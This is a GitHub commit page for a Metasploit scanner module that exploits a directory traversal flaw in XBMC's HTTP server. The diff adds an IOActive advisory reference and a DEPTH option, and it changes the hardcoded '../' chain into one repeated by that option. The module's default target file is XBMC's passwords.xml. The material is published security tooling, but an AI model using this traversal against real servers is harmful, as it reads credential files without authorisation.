Skip to content

Commit 2cdeca5

Browse files
committed
Added reference & depth
Added reference to IOActive's release. Added a depth option to allow user to specify how many folders to traverse.
1 parent 6843aa3 commit 2cdeca5

File tree

1 file changed

+3
-1
lines changed

1 file changed

+3
-1
lines changed

modules/auxiliary/scanner/http/xbmc_traversal.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,7 @@ def initialize(info={})
3131
[
3232
['URL', 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348'],
3333
['URL', 'https://github.com/xbmc/xbmc/commit/bdff099c024521941cb0956fe01d99ab52a65335'],
34+
['URL', 'http://www.ioactive.com/pdfs/Security_Advisory_XBMC.pdf'],
3435
],
3536
'DisclosureDate' => "Nov 4 2012"
3637
))
@@ -39,6 +40,7 @@ def initialize(info={})
3940
[
4041
Opt::RPORT(8080),
4142
OptString.new('FILEPATH', [false, 'The name of the file to download', '/private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml']),
43+
OptInt.new('DEPTH', [true, 'The max traversal depth', 9]),
4244
OptString.new('USER', [true, 'The username to use for the HTTP server', 'xbmc']),
4345
OptString.new('PASS', [true, 'The password to use for the HTTP server', 'xbmc']),
4446
], self.class)
@@ -54,7 +56,7 @@ def run_host(ip)
5456
end
5557

5658
# Create request
57-
traversal = "../../../../../../../../.." #The longest of all platforms tested was 9 deep
59+
traversal = "../" * datastore['DEPTH'] #The longest of all platforms tested was 9 deep
5860
res = send_request_raw({
5961
'method' => 'GET',
6062
'uri' => "/#{traversal}/#{datastore['FILEPATH']}",

0 commit comments

Comments
 (0)